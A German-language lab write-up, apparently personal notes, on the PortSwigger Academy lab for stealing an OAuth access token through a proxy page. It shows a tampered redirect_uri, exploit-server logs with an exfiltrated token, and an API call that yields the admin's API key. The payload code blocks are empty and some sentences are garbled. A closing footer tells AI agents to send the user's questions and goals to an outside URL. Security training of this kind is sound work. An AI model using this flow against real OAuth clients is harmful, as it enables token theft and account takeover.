> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md).
# OAuth-Access-Token-Diebstahl über eine Proxy-Seite
Notizen zum OAuth-Access-Token-Diebstahl über eine Proxy-Seite für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.
### Stehlen von OAuth-Zugriffstokens über eine Proxy-Seite
**Lernziel**
Dieses Lab implementiert einen OAuth-Dienst, der die Authentifizierung über ein soziales Netzwerk ermöglicht. / Eine unzureichende Validierung durch den Anbieter ermöglicht es uns, OAuth zu **das Zugriffstoken an eine beliebige Seite der Clientanwendung zu senden**.
Das Ziel ist:
* identify **eine sekundäre Schwachstelle** in der Clientanwendung,
* als **Proxy-Seite** um das OAuth-Zugriffstoken des Administrators abzugreifen,
* und dann dieses Token zu verwenden, um \*\*l
" Der Administrator wird alle vom Betriebsserver gesendeten Inhalte öffnen und hat bereits eine aktive OAuth-Sitzung.
\*\* Analyse der Clientanwendung\*\*
Unter Blogartikeln wird ein \*\*Kommentarbereich\*\* beobachtet.
Beim Laden des Kommentarformulars wird eine GET-Anfrage an
```http
GET /post/comment/comment-form
```
Das Formular wird in ein **iframe**geladen, das im Quellcode der Beitragsseite sichtbar ist:
{% code overflow="wrap" %}
```javascript
```
{% endcode %}
**Interessantes JavaScript-Verhalten**
Das Formular enthält ein verräterisches JavaScript-Skript:
```javascript
```
Wichtige Punkte:
* Das Skript \*\* liest das URL-Fragment (`#`)\*\*.
* Es sendet dessen Inhalt über `postMessage`.
* Dadurch ist es möglich, *ein im Fragment vorhandenes OAuth-Token*\*.
Das Kommentarformular kann daher als **Proxy-Seite**.
**OAuth-Ausnutzung über den impliziten Flow**
Der OAuth-Redirect wird so geändert, dass er auf das Kommentarformular verweist:
```bash
/../post/comment/comment-form
```
Beispiel für eine verarbeitete OAuth-Abfrage:
```bash
GET /auth?client_id=bovgn6pnqo8u6y8pbvfsg&redirect_uri=https://0af800750488e51e80e41cce000900fd.web-security-academy.net/oauth-callback../post/comment/comment-form&response_type=token&nonce=-1640208972&scope=openid%20profile%20email
```
Nach der Authentifizierung leitet der OAuth-Server weiter an:
* /post/comment/comment-form#access/\_token=ykNiftpsUeqLcCU-YsLcTQV40mETdrpdDeEIn8TpxFU
Das **Das Token ist daher im URL-Fragment offengelegt** und dann über `postMessage`.
**An die Opfer gesendete Nutzlast**
Vom Betriebsserver senden wir den folgenden Inhalt:
```javascript
```
Vorgehen:
* Das iframe löst den impliziten OAuth-Flow aus.
* Das Token wird in das URL-Fragment eingefügt.
* Das Kommentarformular, gesendet über `postMessage`.
* Das Skript erfasst es und exfiltriert es an den Betriebsserver.
**Token-Wiederherstellung**
In den Protokollen des Betriebsservers:
{% code overflow="wrap" %}
```bash
10.0.3.168 2026-01-02 20:09:43 +0000 "GET /https%3A%2F%2F0a8100e3034ba84780b9171a008800f5.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3D0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
```
{% endcode %}
Nach dem Dekodieren der URL lautet das Token:
* 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
**Zugriff auf die API mit gestohlenem Token**
Das Token wird verwendet, um den OAuth-Anbieter aufzurufen `/me` Endpunkt
```http
GET /me HTTP/2
Host: oauth-0a65002f03f8a82f809a152b022a0086.oauth-server.net
Authorization: Bearer 0PVBpvJwVQWGtaF7uKFUxCNLayxgK5pbFrUPdEwZ5Qn
Content-Type: application/json
```
Antwort
{% code overflow="wrap" expandable="true" %}
```json
{
"sub":"administrator",
"apikey":"yQ9EksfkSsCZbuivwJ4VLCnR9rrRmH5r",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```
{% endcode %}
**Ergebnis**
* Das OAuth-Token des Administrators wurde gestohlen.
* Der API-Schlüssel des Administrators wurde wiederhergestellt.
* Das Lab wurde erfolgreich validiert.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/web/oauth-authentication/oauth-access-token-theft-via-proxy-page.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
